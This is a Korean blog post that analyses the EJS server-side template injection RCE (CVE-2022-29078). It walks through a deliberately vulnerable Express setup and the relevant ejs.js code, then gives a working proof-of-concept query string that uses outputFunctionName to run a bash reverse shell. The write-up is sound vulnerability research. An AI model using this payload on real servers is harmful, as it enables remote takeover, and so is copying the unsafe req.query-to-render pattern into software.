🗂️ INDEX

글 작성자: Universe7202

 

 

🚪 Intro

2022년 4월달에 nodejs 의 모듈인 EJS에서 RCE 취약점이 발견되었습니다. 맨 아래 Reference 에 있는 링크를 참고하여 어떻게 EJS에서 RCE가 가능한지를 분석해 봤습니다.

 

취약한 EJS 버전은 `3.1.6` 이하 버전입니다. 해당 취약점은 `3.1.7`에서 패치 되었습니다.

 


 

💡Analysis

환경 세팅을 위해 아래와 같은 명령어로 취약한 EJS 버전을 설치해 줍니다.

npm install ejs@3.1.6

 

이후 간단한 코드를 작성하여 서버를 시작해 줍니다.

// index.js

const express = require("express");
const app = express();

app.set("view engine", "ejs")
app.get("/", (req, res) => {
    console.log(req.query);
    res.render("index", req.query);
})

app.listen(8080, () => {
    console.log("runnging");
})
<!-- views/index.ejs -->

<h1>
	You are viewing page number
    <%= id %>
</h1>

 

index.js 파일에서 9번째 줄을 보면, GET 파라미터로 전송된 값을 `req.query` 변수를 통해 ejs template으로 넘겨주고 있습니다. 결론부터 말씀 드리자면, GET 파라미터로 전송된 값을 `req.query` 변수를 통해 ejs template으로 넘겨주는 코드로 인해 취약점이 트리거가 됩니다.

 

index.js 파일에서 9번째 줄에, `req.query` 변수를 인자로 전달하고 있습니다. express 모듈에서 로직을 처리한 뒤, `ejs.js:454` 줄에서 `args.shift()` 를 통해 data 변수에 저장됩니다.

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L454

 

 

동작을 확인하기 위해 454번째 줄에서 bp를 건 뒤, 브라우저도 `?id=aaaaa` 라는 값을 GET 방식으로 전달 합니다.

이때 `data` 변수에는 다음과 같은 값들이 저장됩니다. 잘 보면, `id: aaaaa` 라는 key, value 가 들어간 것을 볼 수 있죠.

 

 

이후 `ejs.js:473` 줄에서 아까 설명한 `data` 변수에서 `data.settings['view options']` 라는 값이 있으면 `475번째 줄` 에 있는 `utils.shallowCopy` 라는 함수가 동작하게 됩니다. 현재 상황에서는 위 사진을 보면 알 수 있듯이 `data` 변수에 `view options` 라는 key가 없습니다. 따라서 `475번째 줄` 코드가 실행되지 않습니다.

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L475

 

 

우선, `utils.shallowCopy()` 함수를 보면 다음과 같습니다. 두번째 인자의 값을 첫번째 인자에 복사한 뒤 리턴합니다. 이때 중요한 점은 첫번째 인자가 `opts` 라는 점 입니다. 이 내용을 잘 기억해 주세요.

만약 특정 변수를 overwrite 할 수 있다면, 어떤 것이 가장 좋을까요?

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/utils.js#L115

 

 

EJS는 Template를 rendering 할 때 javascript code를 실행해 주는 로직이 있습니다. 

`prepended` 변수에는 javascript code가 있고, `opts.outputFunctionName` 값이 있다면 `opts.outputFunctionName` 값을 `prepended` 변수에 추가합니다. 공격자가 `opts.outputFunctionName` 값을 조작할 수 있다면 RCE가 가능하겠네요!

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L589

 

 

앞서 설명했던 `utils.shallowCopy()` 함수에서 첫번째 인자는 `opts` 변수 입니다. 즉, 공격자는 `opts` 변수에 원하는 값을 넣어 조작할 수 있습니다.

 

 


 

💡Exploit

`utils.shallowCopy()` 함수를 실행시키기 위해서는 `data.settings['view options']` 라는 값이 있어야 합니다. 

따라서 공격자는 `?id=2&settings[view options][a]=b` 인자를 GET 방식으로 전송합니다.

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L475

 

 

디버깅을 통해 확인하면 `ejs.js:475` 번째 줄의 `utils.shallowCopy()` 함수가 실행됩니다. 이 함수가 실행되면 최종적으로 `opts` 변수에 `a: b` 라는 key, value 가 추가된 것을 볼 수 있습니다.

 

 

즉, 공격자는 `opts` 변수에 원하는 key와 value를 추가할 수 있게 되었습니다.

RCE를 하기 위해 앞서 설명했던 `opts.outputFunctionName` 값을 overwrite 해야 합니다. 

https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js#L589

 

 

따라서 최종적인 poc 코드는 다음과 같습니다.

?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("/bin/bash -c 'bash -i >%26 /dev/tcp/127.0.0.1/1337 0>%261'");s

 


 

🚪 Reference

https://eslam.io/posts/ejs-server-side-template-injection-rce/

 

EJS, Server side template injection RCE (CVE-2022-29078) - writeup

Note: The objective of this research or any similar researches is to improve the nodejs ecosystem security level. Recently i was working on a related project using one of the most popular Nodejs templating engines Embedded JavaScript templates - EJS In my

eslam.io

 

'🔒Security' 카테고리의 다른 글

nodejs unicode  (0) 2022.10.06
[분석일기] - php switch case  (0) 2022.09.06
Node.js querystring 함수 분석과 bug 설명  (0) 2022.07.09
분석 일기 - file upload 취약점  (0) 2022.05.12
분석 일기 - php dynamic variable  (0) 2022.04.03